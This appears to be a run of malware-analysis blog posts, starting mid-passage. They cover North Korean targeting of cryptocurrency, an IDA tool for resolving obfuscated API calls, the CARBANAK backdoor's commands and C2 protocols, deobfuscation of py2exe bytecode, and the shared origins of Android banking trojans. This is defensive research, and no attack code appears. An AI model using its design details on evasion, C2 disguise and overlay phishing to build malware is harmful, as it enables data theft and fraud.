If actors compromise an exchange itself (as opposed to an individual account or wallet) they potentially can move cryptocurrencies out of online wallets, swapping them for other, more anonymous cryptocurrencies or send them directly to other wallets on different exchanges to withdraw them in fiat currencies such as South Korean won, US dollars, or Chinese renminbi. As the regulatory environment around cryptocurrencies is still emerging, some exchanges in different jurisdictions may have lax anti-money laundering controls easing this process and make the exchanges an attractive tactic for anyone seeking hard currency.


As bitcoin and other cryptocurrencies have increased in value in the last year, nation states are beginning to take notice. Recently, an advisor to President Putin in Russia announced plans to raise funds to increase Russia's share of bitcoin mining, and senators in Australia's parliament have proposed developing their own national cryptocurrency.

Consequently, it should be no surprise that cryptocurrencies, as an emerging asset class, are becoming a target of interest by a regime that operates in many ways like a criminal enterprise. While at present North Korea is somewhat distinctive in both their willingness to engage in financial crime and their possession of cyber espionage capabilities, the uniqueness of this combination will likely not last long-term as rising cyber powers may see similar potential. Cyber criminals may no longer be the only nefarious actors in this space.

Remote Symbol Resolution


The following blog discusses a couple of common techniques that malware uses to obscure its access to the Windows API. In both forms examined, analysts must calculate the API start address and resolve the symbol from the runtime process in order to determine functionality.

After introducing the techniques, we present an open source tool we developed that can be used to resolve addresses from a process running in a virtual machine by an IDA script. This gives us an efficient way to quickly add readability back into the disassembly. 


When performing an analysis, it is very common to see malware try to obscure the API it uses. As a malware analyst, determining which API is used is one of the first things we must resolve in order to determine the capabilities of the code.

Two common obfuscations we are going to look at in this blog are encoded function pointer tables and detours style hook stubs. In both of these scenarios the entry point to the API is not directly visible in the binary.

For an example of what we are talking about, consider the code in Figure 1, which was taken from a memory dump of xdata crypto ransomware sample C6A2FB56239614924E2AB3341B1FBBA5.

Figure 1: API obfuscation code from a crypto ransomware sample

In Figure 1, we see one numeric value being loaded into eax, XORed against another, and then being called as a function pointer. These numbers only make sense in the context of a running process. We can calculate the final number from the values contained in the memory dump, but we also need a way to know which API address it resolved to in this particular running process. We also have to take into account that DLLs can be rebased due to conflicts in preferred base address, and systems with ASLR enabled.

Figure 2 shows one other place we can look to see where the values were initially set.

Figure 2: Crypto malware setting obfuscated function pointer from API hash

In this case, the initial value is loaded from an API hash lookup – again not of immediate value. Here we have hit a crossroad, with multiple paths we can take to resolve the problem. We can search for a published hash list, extract the hasher and build our own database, or figure out a way to dynamically resolve the decoded API address.

Before we choose which path to take, let us consider another sample. Figure 3 shows code from Andromeda sample, 3C8B018C238AF045F70B38FC27D0D640.

Figure 3: API redirection code from an Andromeda sample

This code was found in a memory injection. Here we can see what looks to be a detours style trampoline, where the first instruction was stolen from the actual Windows API and placed in a small stub with an immediate jump taken back to the original API + x bytes.

In this situation, the malware accesses all of the API through these stubs and we have no clear resolution as to which stub points where. From the disassembly we can also see that the stolen instructions are of variable length.

In order to resolve where these functions go, we would have to:

  • enumerate all of the stubs
  • calculate how many bytes are in the first instruction
  • extract the jmp address
  • subtract the stolen byte count to find the API entrypoint
  • resolve the calculated address for this specific process instance
  • rename the stub to a meaningful value

In this sample, looking for cross references on where the value is set does not yield any results.

Here we have two manifestations of essentially the same problem. How do we best resolve calculated API addresses and add this information back into our IDA database?

One of the first techniques used was to calculate all of the final addresses, write them to a binary file, inject the data into the process, and examine the table in the debugger (Figure 4). Since the debugger already has a API address look up table, this gives a crude yet quick method to get the information we need.

Figure 4: ApiLogger from iDefense MAP injecting a data file into a process and examining results in debugger

From here we can extract the resolved symbols and write a script to integrate them into our IDB. This works, but it is bulky and involves several steps.

Our Tool

What we really want is to build our own symbol lookup table for a process and create a streamlined way to access it from our scripts.

The first question is: How can we build our own lookup table of API addresses to API names? To resolve this information, we need to follow some steps:

  • enumerate all of the DLLs loaded into a process
  • for each DLL, walk the export table and extract function name and RVA
  • calculate API entrypoint based on DLL base address and export RVA
  • build a lookup table based on all of this information

While this sounds like a lot of work, libraries are already available that handle all of the heavy lifting. Figure 5 shows a screenshot of a remote lookup tool we developed for such occasions.

Figure 5: Open source remote lookup application

In order to maximize the benefits of this type of tool, the tool must be efficient. What is the best way to interface with this data? There are several factors to consider here, including how the data is submitted, what input formats are accepted, and how well the tool can be integrated with the flow of the analysis process.

The first consideration is how we interface with it. For maximum flexibility, three methods were chosen. Lookups can be submitted:

  • individually via textbox
  • in bulk by file or
  • over the network by a remote client

In terms of input formats, it accepts the following:

  • hex memory address
  • case insensitive API name
  • dll_name@ordinal
  • dll_name.export_name

The tool output is in the form of a CSV list that includes address, name, ordinal, and DLL.

With the base tool capabilities in place, we still need an efficient streamlined way to use it during our analysis. The individual lookups are nice for offhand queries and testing, but not in bulk. The bulk file lookup is nice on occasion, but it still requires data export/import to integrate results with your IDA database.

What is really needed is a way to run a script in IDA, calculate the API address, and then resolve that address inline while running an IDA script. This allows us to rename functions and pointers on the fly as the script runs all in one shot. This is where the network client capability comes in.

Again, there are many approaches to this. Here we chose to integrate a network client into a beta of IDA Jscript (Figure 6). IDA Jscript is an open source IDA scripting tool with IDE that includes syntax highlighting, IntelliSense, function prototype tooltips, and debugger.

Figure 6: Open source IDA Jscript decoding and resolving API addresses

In this example we see a script that decodes the xdata pointer table, resolves the API address over the network, and then generates an IDC script to rename the pointers in IDA.

After running this script and applying the results, the decompiler output becomes plainly readable (Figure 7).

Figure 7: Decompiler output from the xdata sample after symbol resolution

Going back to the Andromeda sample, the API information can be restored with the brief idajs script shown in Figure 8.

Figure 8: small idajs script to remotely resolve and rename Andromeda API hook stubs

For IDAPython users, a python remote lookup client is also available.


It is common for malware to use techniques that mask the Windows API being used. These techniques force malware analysts to have to extract data from runtime data, calculate entry point addresses, and then resolve their meaning within the context of a particular running process.

In previous techniques, several manual stages were involved that were bulky and time intensive.

This blog introduces a small simple open source tool that can integrate well into multiple IDA scripting languages. This combination allows analysts streamlined access to the data required to quickly bypass these types of obfuscations and continue on with their analysis.

We are happy to be able to open source the remote lookup application so that others may benefit and adapt it to their own needs. Sample network clients have been provided for Python, C#, D, and VB6.

Download a copy of the tool today.

Behind the CARBANAK Backdoor

In this blog, we will take a closer look at the powerful, versatile backdoor known as CARBANAK (aka Anunak). Specifically, we will focus on the operational details of its use over the past few years, including its configuration, the minor variations observed from sample to sample, and its evolution. With these details, we will then draw some conclusions about the operators of CARBANAK. For some additional background on the CARBANAK backdoor, see the papers by Kaspersky and Group-IB and Fox-It.

Technical Analysis

Before we dive into the meat of this blog, a brief technical analysis of the backdoor is necessary to provide some context. CARBANAK is a full-featured backdoor with data-stealing capabilities and a plugin architecture. Some of its capabilities include key logging, desktop video capture, VNC, HTTP form grabbing, file system management, file transfer, TCP tunneling, HTTP proxy, OS destruction, POS and Outlook data theft and reverse shell. Most of these data-stealing capabilities were present in the oldest variants of CARBANAK that we have seen and some were added over time.

Monitoring Threads

The backdoor may optionally start one or more threads that perform continuous monitoring for various purposes, as described in Table 1.  

Thread Name


Key logger

Logs key strokes for configured processes and sends them to the command and control (C2) server

Form grabber

Monitors HTTP traffic for form data and sends it to the C2 server

POS monitor

Monitors for changes to logs stored in C:\NSB\Coalition\Logs and nsb.pos.client.log and sends parsed data to the C2 server

PST monitor

Searches recursively for newly created Outlook personal storage table (PST) files within user directories and sends them to the C2 server

HTTP proxy monitor

Monitors HTTP traffic for requests sent to HTTP proxies, saves the proxy address and credentials for future use

Table 1: Monitoring threads


In addition to its file management capabilities, this data-stealing backdoor supports 34 commands that can be received from the C2 server. After decryption, these 34 commands are plain text with parameters that are space delimited much like a command line. The command and parameter names are hashed before being compared by the binary, making it difficult to recover the original names of commands and parameters. Table 2 lists these commands.

Command Hash

Command Name




Runs each command specified in the configuration file (see the Configuration section).



Updates the state value (see the Configuration section).



Desktop video recording



Downloads executable and injects into new process



Ammyy Admin tool



Updates self



Add/Update klgconfig (analysis incomplete)



Starts HTTP proxy



Renders computer unbootable by wiping the MBR



Reboots the operating system



Creates a network tunnel



Adds new C2 server or proxy address for pseudo-HTTP protocol



Adds new C2 server for custom binary protocol



Creates or deletes Windows user account



Enables concurrent RDP (analysis incomplete)



Adds Notification Package (analysis incomplete)



Deletes file or service



Adds command to the configuration file (see the Configuration section)



Downloads executable and injects directly into new process



Send Windows accounts details to the C2 server



Takes a screenshot of the desktop and sends it to the C2 server



Backdoor sleeps until specified date






Upload files to the C2 server



Runs VNC plugin



Runs specified executable file



Uninstalls backdoor



Returns list of running processes to the C2 server



Change C2 protocol used by plugins



Download and execute shellcode from specified address



Terminates the first process found specified by name



Initiates a reverse shell to the C2 server



Plugin control



Updates backdoor

Table 2: Supported Commands


A configuration file resides in a file under the backdoor’s installation directory with the .bin extension. It contains commands in the same form as those listed in Table 2 that are automatically executed by the backdoor when it is started. These commands are also executed when the loadconfig command is issued. This file can be likened to a startup script for the backdoor. The state command sets a global variable containing a series of Boolean values represented as ASCII values ‘0’ or ‘1’ and also adds itself to the configuration file. Some of these values indicate which C2 protocol to use, whether the backdoor has been installed, and whether the PST monitoring thread is running or not. Other than the state command, all commands in the configuration file are identified by their hash’s decimal value instead of their plain text name. Certain commands, when executed, add themselves to the configuration so they will persist across (or be part of) reboots. The loadconfig and state commands are executed during initialization, effectively creating the configuration file if it does not exist and writing the state command to it.

Figure 1 and Figure 2 illustrate some sample, decoded configuration files we have come across in our investigations.

Figure 1: Configuration file that adds new C2 server and forces the data-stealing backdoor to use it

Figure 2: Configuration file that adds TCP tunnels and records desktop video

Command and Control

CARBANAK communicates to its C2 servers via pseudo-HTTP or a custom binary protocol.

Pseudo-HTTP Protocol

Messages for the pseudo-HTTP protocol are delimited with the ‘|’ character. A message starts with a host ID composed by concatenating a hash value generated from the computer’s hostname and MAC address to a string likely used as a campaign code. Once the message has been formatted, it is sandwiched between an additional two fields of randomly generated strings of upper and lower case alphabet characters. An example of a command polling message and a response to the listprocess command are given in Figure 3 and Figure 4, respectively.

Figure 3: Example command polling message

Figure 4: Example command response message

Messages are encrypted using Microsoft’s implementation of RC2 in CBC mode with PKCS#5 padding. The encrypted message is then Base64 encoded, replacing all the ‘/’ and ‘+’ characters with the ‘.’ and ‘-’ characters, respectively. The eight-byte initialization vector (IV) is a randomly generated string consisting of upper and lower case alphabet characters. It is prepended to the encrypted and encoded message.

The encoded payload is then made to look like a URI by having a random number of ‘/’ characters inserted at random locations within the encoded payload. The malware then appends a script extension (php, bml, or cgi) with a random number of random parameters or a file extension from the following list with no parameters: gif, jpg, png, htm, html, php.

This URI is then used in a GET or POST request. The body of the POST request may contain files contained in the cabinet format. A sample GET request is shown in Figure 5.

Figure 5: Sample pseudo-HTTP beacon

The pseudo-HTTP protocol uses any proxies discovered by the HTTP proxy monitoring thread or added by the adminka command. The backdoor also searches for proxy configurations to use in the registry at HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings and for each profile in the Mozilla Firefox configuration file at %AppData%\Mozilla\Firefox\<ProfileName>\prefs.js.

Custom Binary Protocol

Figure 6 describes the structure of the malware’s custom binary protocol. If a message is larger than 150 bytes, it is compressed with an unidentified algorithm. If a message is larger than 4096 bytes, it is broken into compressed chunks. This protocol has undergone several changes over the years, each version building upon the previous version in some way. These changes were likely introduced to render existing network signatures ineffective and to make signature creation more difficult.

Figure 6: Binary protocol message format

Version 1

In the earliest version of the binary protocol, we have discovered that the message bodies that are stored in the <chunkData> field are simply XORed with the host ID. The initial message is not encrypted and contains the host ID.

Version 2

Rather than using the host ID as the key, this version uses a random XOR key between 32 and 64 bytes in length that is generated for each session. This key is sent in the initial message.

Version 3

Version 3 adds encryption to the headers. The first 19 bytes of the message headers (up to the <hdrXORKey2> field) are XORed with a five-byte key that is randomly generated per message and stored in the <hdrXORKey2> field. If the <flag> field of the message header is greater than one, the XOR key used to encrypt message bodies is iterated in reverse when encrypting and decrypting messages.

Version 4

This version adds a bit more complexity to the header encryption scheme. The headers are XOR encrypted with <hdrXORKey1> and <hdrXORKey2> combined and reversed.

Version 5

Version 5 is the most sophisticated of the binary protocols we have seen. A 256-bit AES session key is generated and used to encrypt both message headers and bodies separately. Initially, the key is sent to the C2 server with the entire message and headers encrypted with the RSA key exchange algorithm. All subsequent messages are encrypted with AES in CBC mode. The use of public key cryptography makes decryption of the session key infeasible without the C2 server’s private key.

The Roundup

We have rounded up 220 samples of the CARBANAK backdoor and compiled a table that highlights some interesting details that we were able to extract. It should be noted that in most of these cases the backdoor was embedded as a packed payload in another executable or in a weaponized document file of some kind. The MD5 hash is for the original executable file that eventually launches CARBANAK, but the details of each sample were extracted from memory during execution. This data provides us with a unique insight into the operational aspect of CARBANAK and can be downloaded here.

Protocol Evolution

As described earlier, CARBANAK’s binary protocol has undergone several significant changes over the years. Figure 7 illustrates a rough timeline of this evolution based on the compile times of samples we have in our collection. This may not be entirely accurate because our visibility is not complete, but it gives us a general idea as to when the changes occurred. It has been observed that some builds of this data-stealing backdoor use outdated versions of the protocol. This may suggest multiple groups of operators compiling their own builds of this data-stealing backdoor independently.

Figure 7: Timeline of binary protocol versions

*It is likely that we are missing an earlier build that utilized version 3.

Build Tool

Most of CARBANAK’s strings are encrypted in order to make analysis more difficult. We have observed that the key and the cipher texts for all the encrypted strings are changed for each sample that we have encountered, even amongst samples with the same compile time. The RC2 key used for the HTTP protocol has also been observed to change among samples with the same compile time. These observations paired with the use of campaign codes that must be configured denote the likely existence of a build tool.

Rapid Builds

Despite the likelihood of a build tool, we have found 57 unique compile times in our sample set, with some of the compile times being quite close in proximity. For example, on May 20, 2014, two builds were compiled approximately four hours apart and were configured to use the same C2 servers. Again, on July 30, 2015, two builds were compiled approximately 12 hours apart.

What changes in the code can we see in such short time intervals that would not be present in a build tool? In one case, one build was programmed to execute the runmem command for a file named wi.exe while the other was not. This command downloads an executable from the C2 and directly runs it in memory. In another case, one build was programmed to check for the existence of the domain in the trusted sites list for Internet Explorer while the other was not. Blizko is an online money transfer service. We have also seen that different monitoring threads from Table 1 are enabled from build to build. These minor changes suggest that the code is quickly modified and compiled to adapt to the needs of the operator for particular targets.

Campaign Code and Compile Time Correlation

In some cases, there is a close proximity of the compile time of a CARBANAK sample to the month specified in a particular campaign code. Figure 8 shows some of the relationships that can be observed in our data set.

Campaign Code

Compile Date































Figure 8: Campaign code to compile time relationships

Recent Updates

Recently, 64 bit variants of the backdoor have been discovered. We shared details about such variants in a recent blog post. Some of these variants are programmed to sleep until a configured activation date when they will become active.


The “Carbanak Group”

Much of the publicly released reporting surrounding the CARBANAK malware refers to a corresponding “Carbanak Group”, who appears to be behind the malicious activity associated with this data-stealing backdoor. FireEye iSIGHT Intelligence has tracked several separate overarching campaigns employing the CARBANAK tool and other associated backdoors, such as DRIFTPIN (aka Toshliph). With the data available at this time, it is unclear how interconnected these campaigns are – if they are all directly orchestrated by the same criminal group, or if these campaigns were perpetrated by loosely affiliated actors sharing malware and techniques.


In all Mandiant investigations to date where the CARBANAK backdoor has been discovered, the activity has been attributed to the FIN7 threat group. FIN7 has been extremely active against the U.S. restaurant and hospitality industries since mid-2015.

FIN7 uses CARBANAK as a post-exploitation tool in later phases of an intrusion to cement their foothold in a network and maintain access, frequently using the video command to monitor users and learn about the victim network, as well as the tunnel command to proxy connections into isolated portions of the victim environment. FIN7 has consistently utilized legally purchased code signing certificates to sign their CARBANAK payloads. Finally, FIN7 has leveraged several new techniques that we have not observed in other CARBANAK related activity.

We have covered recent FIN7 activity in previous public blog posts:

The FireEye iSIGHT Intelligence MySIGHT Portal contains additional information on our investigations and observations into FIN7 activity.

Widespread Bank Targeting Throughout the U.S., Middle East and Asia

Proofpoint initially reported on a widespread campaign targeting banks and financial organizations throughout the U.S. and Middle East in early 2016. We identified several additional organizations in these regions, as well as in Southeast Asia and Southwest Asia being targeted by the same attackers.

This cluster of activity persisted from late 2014 into early 2016. Most notably, the infrastructure utilized in this campaign overlapped with LAZIOK, NETWIRE and other malware targeting similar financial entities in these regions.


DRIFTPIN (aka Spy.Agent.ORM, and Toshliph) has been previously associated with CARBANAK in various campaigns. We have seen it deployed in initial spear phishing by FIN7 in the first half of 2016.  Also, in late 2015, ESET reported on CARBANAK associated attacks, detailing a spear phishing campaign targeting Russian and Eastern European banks using DRIFTPIN as the malicious payload. Cyphort Labs also revealed that variants of DRIFTPIN associated with this cluster of activity had been deployed via the RIG exploit kit placed on two compromised Ukrainian banks’ websites.

FireEye iSIGHT Intelligence observed this wave of spear phishing aimed at a large array of targets, including U.S. financial institutions and companies associated with Bitcoin trading and mining activities. This cluster of activity continues to be active now to this day, targeting similar entities. Additional details on this latest activity are available on the FireEye iSIGHT Intelligence MySIGHT Portal.

Earlier CARBANAK Activity

In December 2014, Group-IB and Fox-IT released a report about an organized criminal group using malware called "Anunak" that has targeted Eastern European banks, U.S. and European point-of-sale systems and other entities. Kaspersky released a similar report about the same group under the name "Carbanak" in February 2015. The name “Carbanak” was coined by Kaspersky in this report – the malware authors refer to the backdoor as Anunak.

This activity was further linked to the 2014 exploitation of ATMs in Ukraine. Additionally, some of this early activity shares a similarity with current FIN7 operations – the use of Power Admin PAExec for lateral movement.


The details that can be extracted from CARBANAK provide us with a unique insight into the operational details behind this data-stealing malware. Several inferences can be made when looking at such data in bulk as we discussed above and are summarized as follows:

  1. Based upon the information we have observed, we believe that at least some of the operators of CARBANAK either have access to the source code directly with knowledge on how to modify it or have a close relationship to the developer(s).
  2. Some of the operators may be compiling their own builds of the backdoor independently.
  3. A build tool is likely being used by these attackers that allows the operator to configure details such as C2 addresses, C2 encryption keys, and a campaign code. This build tool encrypts the binary’s strings with a fresh key for each build.
  4. Varying campaign codes indicate that independent or loosely affiliated criminal actors are employing CARBANAK in a wide-range of intrusions that target a variety of industries but are especially directed at financial institutions across the globe, as well as the restaurant and hospitality sectors within the U.S.

Deobfuscating Python Bytecode


During an investigation, the FLARE team came across an interesting Python malware sample (MD5: 61a9f80612d3f7566db5bdf37bbf22cf ) that is packaged using py2exe. Py2exe is a popular way to compile and package Python scripts into executables. When we encounter this type of malware we typically just decompile and read the Python source code. However, this malware was different, it had its bytecode manipulated to prevent it from being decompiled easily!

In this blog we’ll analyze the malware and show how we removed the obfuscation, which allowed us to produce a clean decompile. Here we release source code to our bytecode_graph module to help you analyze obfuscated Python bytecode ( This module allows you to remove instructions from a bytecode stream, refactor offsets and generate a new code object that can be further analyzed.


Py2exe is a utility that turns a Python script into an executable, which allows it to run on a system without a Python interpreter installed. Analyzing a Py2exe binary is generally a straightforward process that starts with extracting the Python bytecode followed by decompiling the code object with a module such as meta or uncompyle2. Appendix A contains an example script that demonstrates how to extract a code object from a Py2exe binary.

When attempting to decompile this sample using uncompyle2, the exception shown in Figure 1 is generated. The exception suggests the bytecode stream contains code sequences that the decompiler is not expecting.

Figure 1: Uncompyle2 exception trace

Obfuscation that breaks decompilers

To understand why the decompiler is failing, we first need to take a closer look at the bytecode disassembly. A simple method to disassemble Python bytecode is to use the built-in module dis. When using the dis module, it is important to use the same version of Python as the bytecode to get an accurate disassembly. Figure 2 contains an example interactive session that disassembles the script “import sys”. Each line in the disassembly output contains an optional line number, followed by the bytecode offset and finally the bytecode instruction mnemonic and any arguments.

Figure 2:  Example bytecode disassembly

Using the example script from Appendix A, we can view the disassembly of the code object to get a better idea what is causing the decompiler to fail. Figure 3 contains a portion of the disassembly produced by running script on this sample.

Figure 3: Bytecode disassembly

Looking closer at the disassembly, notice there are several unnecessary bytecode sequences that have no effect on the logic of the code. This suggests that a standard compiler did not produce the bytecode. The first surprising bytecode construct is the use of NOPs, for example, found at bytecode offset 0. The NOP instruction is not typically included in compiled Python code because the interpreter does not have to deal with pipelining issues. The second surprising bytecode construct is the series of ROT_TWO and ROT_THREE instructions. The ROT_TWO instruction rotates the top two stack items and the ROT_THREE rotates the top three stack items. By calling two successive ROT_TWO or three ROT_THREE instructions, the stack is returned to the same state as before the instruction sequence. So, these sequences have no effect on the logic of the code, but may confuse decompilers. Lastly, the LOAD_CONST and POP_TOP combinations are unnecessary. The LOAD_CONST instruction pushes a constant onto the stack while the POP_TOP removes it. This again leaves the stack in its original state.

These unnecessary code sequences prevent decompiling bytecode using modules such as meta and uncompyle2. Many of the ROT_TWO and ROT_THREE sequences operate on an empty stack that generates errors when inspected because both modules use a Python List object to simulate the runtime stack. A pop operation on the empty list generates exceptions that halt the decompilation process. In contrast, when Python interpreter executes the bytecode, no checks are made on the stack before performing operations on it. Take for example ROT_TWO from ceval.c in Figure 4.        

Figure 4: ROT_TWO source

Looking at the macro definitions for TOP, SECOND, SET_TOP and SET_SECOND from ceval.c in Figure 5, the lack of sanity checks allow these code sequences to execute without stopping.

Figure 5: Macro definitions

The NOPs and LOAD_CONST/POP_TOP sequences stop the decompilation process in situations where the next or previous instructions are expected to be a specific value. An example debug trace for uncompyle2 is shown in Figure 6 where the previous instruction is expected to be a jump or a return.

Removing the obfuscation

Now that the types of obfuscation have been identified, the next step is to clean the bytecode in hopes of getting a successful decompile. The opmap dictionary from the dis module is very helpful when manipulating bytecode streams. When using opmap, instructions can be referenced by name rather than a specific bytecode value. For example, the NOP bytecode binary value is available with dis.opmap[‘NOP’].

Appendix B contains an example script that replaces the ROT_TWO, ROT_THREE and LOAD_CONST/POP_TOP sequences with NOP instructions and creates a new code object. The disassembly produced from running the script in Appendix A on the malware is shown in Figure 6.

Figure 6: Clean disassembly

At this point, the disassembly is somewhat easier to read with the unnecessary instruction sequences replaced with NOPs, but the bytecode still fails to decompile. The failure is due how uncompyle2 and meta deal with exceptions. The problem is demonstrated in Figure 7 with a simple script that includes an exception handler.

Figure 7: Exception handler

In Figure 7, the exception handler is created using the SETUP_EXCEPT instruction at offset 0 with the handler code beginning at offset 13 with the three POP_TOP instructions. Both the meta and uncompyle2 modules inspect the instruction prior to the exception handler to verify it is a jump instruction. If the instruction isn’t a jump, the decompile process is halted. In the case of this malware, the instruction is a NOP because of the obfuscation instructions were removed.

At this point, to get a successful decompile, we have two options. First, we can reorder instructions to make sure they are where the decompiler expects them. Alternatively, we can remove all the NOP instructions. Both strategies can be complicated and tedious because absolute and relative addresses for any jump instructions need to also be updated. This is where the bytecode_graph module comes in.  Using the bytecode_graph module, it’s easy to replace and remove instructions from a bytecode stream and generate a new stream with offsets automatically updated accordingly. Figure 8 shows an example function that uses the bytecode_graph module to remove all NOP instructions from a code object.

Figure 8: Example bytecode_graph removing NOP instructions


In this blog I’ve demonstrated how to remove a simple obfuscation from a Python code object using the bytecode_graph module. I think you’ll find it easy to use and a perfect tool for dealing with tricky py2exe samples. You can download bytecode_graph via pip (pip install bytecode-graph) or from the FLARE team’s Github page:

An example script that removes the obfuscation discussed in this blog can be found here: identified that implement this bytecode obfuscation:


Appendix A: Python script to extract and disassemble Py2exe resource

Appendix B: Sample script to remove obfuscation

A Growing Number of Android Malware Families Believed to Have a Common Origin: A Study Based on Binary Code


On Feb. 19, IBM XForce researchers released an intelligence report [1] stating that the source code for GM Bot was leaked to a crimeware forum in December 2015. GM Bot is a sophisticated Android malware family that emerged in the Russian-speaking cybercrime underground in late 2014. IBM also claimed that several Android malware families recently described in the security community were actually variants of GM Bot, including Bankosy[2], MazarBot[3], and the SlemBunk malware recently described by FireEye[4, 5].

Security vendors may differ in their definition of a malware “variant.” The term may refer to anything from almost identical code with slight modifications, to code that has superficial similarities (such as similar network traffic) yet is otherwise very different.

Using IBM’s reporting, we compared their GM Bot samples to SlemBunk. Based on the disassembled code of these two families, we agree that there are enough code similarities to indicate that GM Bot shares a common origin with SlemBunk. Interestingly, our research led us to identify an earlier malware family named SimpleLocker – the first known file-encryption ransomware on Android [6] – that also shares a common origin with these banking trojan families.

GM Bot and SlemBunk

Our analysis showed that the four GM Bot samples referenced by IBM researchers all share the same major components as SlemBunk. Figure 1 of our earlier report [4] is reproduced here, which shows the major components of SlemBunk and its corresponding class names:

  • ServiceStarter: An Android receiver that will be invoked once an app is launched or the device boots up. Its functionality is to start the monitoring service, MainService, in the background.
  • MainService: An Android service that runs in the background and monitors all running processes on the device. It prompts the user with an overlay view that resembles the legitimate app when that app is launched. This monitoring service also communicates with a remote host by sending the initial device data and notifying of device status and app preferences.
  • MessageReceiver: An Android receiver that handles incoming text messages. In addition to the functionality of intercepting the authentication code from the bank, this component also acts as the bot client for remote command and control (C2).
  • MyDeviceAdminReceiver: A receiver that requests administrator access to the Android device the first time the app is launched. This makes the app more difficult to remove.
  • Customized UI views: Activity classes that present fake login pages that mimic those of the real banking apps or social apps to phish for banking or social account credentials.

Figure 1. Major components of SlemBunk malware family

The first three GM Bot samples have the same package name as our SlemBunk sample. In addition, the GM Bot samples have five of the same major components, including the same component names, as the SlemBunk sample in Figure 1.

The fourth GM Bot sample has a different initial package name, but unpacks the real payload at runtime. The unpacked payload has the same major components as the SlemBunk sample, with a few minor changes on the class names: MessageReceiver replaced with buziabuzia, and MyDeviceAdminReceiver replaced with MDRA.

Figure 2. Code Structure Comparison between GM Bot and SlemBunk

Figure 2 shows the code structure similarity between one GM Bot sample and one SlemBunk sample (SHA256 9425fca578661392f3b12e1f1d83b8307bfb94340ae797c2f121d365852a775e and SHA256 e072a7a8d8e5a562342121408493937ecdedf6f357b1687e6da257f40d0c6b27 for GM Bot and SlemBunk, respectively). From this figure, we can see that the five major components we discussed in our previous post [4] are also present in GM Bot sample. Other common classes include:

  • Main, the launching activity of both samples.
  • MyApplication, the application class that starts before any other activities of both samples.
  • SDCardServiceStarter, another receiver that monitors the status of MainService and restarts it when it dies.

Among all the above components and classes, MainService is the most critical one. It is started by class Main at the launching time, keeps working in the background to monitor the top running process, and overlays a phishing view when a victim app (e.g., some mobile banking app) is recognized. To keep MainService running continuously, malware authors added two receivers – ServiceStarter and SDCardServiceStarter – to check its status when particular system events are received. Both GM Bot and SlemBunk samples share the same architecture. Figure 3 shows the major code of class SDCardServiceStarter to demonstrate how GM Bot and SlemBunk use the same mechanism to keep MainService running.

Figure 3. Method onReceive of SDCardServiceStarter for GM Bot and SlemBunk

From this figure, we can see that GM Bot and SlemBunk use almost identical code to keep MainService running. Note that both samples check the country in system locale and avoid starting MainService when they find the country is Russia. The only difference is that GM Bot applies renaming obfuscation to some classes, methods and fields. For example, static variable “MainService;->a” in GM Bot has the same role as static variable “MainService;->isRunning” in SlemBunk. Malware authors commonly use this trick to make their code harder to understand. However this won’t change the fact that the underlying codes share the same origin.

Figure 4 shows the core code of class MainService to demonstrate that GM Bot and SlemBunk actually have the same logic for main service. In Android, when a service is started its onCreate method will be called. In method onCreate of both samples, a static variable is first set to true. In GM Bot, this variable is named “a”, while in SlemBunk it is named “isRunning”. Then both will move forward to read an app particular preference. Note that the preferences in both samples have the same name: “AppPrefs”. The last tasks of these two main services are also the same. Specifically, in order to check whether any victim apps are running, a runnable thread is scheduled. If a victim app is running, a phishing view is overlaid on top of that of the victim app. The only difference here is also on the naming of the runnable thread. Class “d” in GM Bot and class “MainService$2” in SlemBunk are employed respectively to conduct the same credential phishing task.

Figure 4. Class MainService for GM Bot and SlemBunk

In summary, our investigation into the binary code similarities supports IBM’s assertion that GM Bot and SlemBunk share the same origin.

SimpleLocker and SlemBunk

IBM noted that GM Bot emerged in late 2014 in the Russian-speaking cybercrime underground. In our research, we noticed that an earlier piece of Android malware named SimpleLocker also has a code structure similar to SlemBunk and GM Bot. However, SimpleLocker has a different financial incentive: to demand a ransom from the victim. After landing on an Android device, SimpleLocker scans the device for certain file types, encrypts them, and then demands a ransom from the user in order to decrypt the files. Before SimpleLocker’s emergence, there were other types of Android ransomware that would lock the screen; however, SimpleLocker is believed to be the first file-encryption ransomware on Android.

The earliest report on SimpleLocker we identified was published by ESET in June 2014 [6]. However, we found an earlier sample in our malware database from May 2014 (SHA256 edff7bb1d351eafbe2b4af1242d11faf7262b87dfc619e977d2af482453b16cb). The compile date of this app was May 20, 2014. We compared this SimpleLocker sample to one of our SlemBunk samples (SHA256 f3341fc8d7248b3d4e58a3ee87e4e675b5f6fc37f28644a2c6ca9c4d11c92b96) using the same methods used to compare GM Bot and SlemBunk.

Figure 5 shows the code structure comparison between these two samples. Note that this SimpleLocker variant also has the major components ServiceStarter and MainService, both used by SlemBunk. However, the purpose of the main service here is not to monitor running apps and provide phishing UIs to steal banking credentials. Instead, SimpleLocker’s main service component scans the device for victim files and calls the file encryption class to encrypt files and demand a ransom. The major differences in the SimpleLocker code are shown in the red boxes: AesCrypt and FileEncryptor. Other common classes include:

  • Main, the launching activity of both samples.
  • SDCardServiceStarter, another receiver that monitors the status of MainService and restarts it when it dies.
  • Tor and OnionKit, third-party libraries for private communication.
  • TorSender, HttpSender and Utils, supporting classes to provide code for CnC communication and for collecting device information.

Figure 5. Code structure comparison between SimpleLocker and SlemBunk samples

Finally, we located another SimpleLocker sample (SHA256 304efc1f0b5b8c6c711c03a13d5d8b90755cec00cac1218a7a4a22b091ffb30b) from July 2014, about two months after the first SimpleLocker sample. This new sample did not use Tor for private communications, but shared four of the five major components as the SlemBunk sample (SHA256: f3341fc8d7248b3d4e58a3ee87e4e675b5f6fc37f28644a2c6ca9c4d11c92b96). Figure 6 shows the code structure comparison between these two samples.

Figure 6. Code structure comparison between SimpleLocker and SlemBunk variants

As we can see in Figure 6, the new SimpleLocker sample used a packaging mechanism similar to SlemBunk, putting HttpSender and Utils into a sub-package named “utils”. It also added two other major components that were originally only seen in SlemBunk: MessageReceiver and MyDeviceAdminReceiver. In total, this SimpleLocker variant shares four out of five major components with SlemBunk.

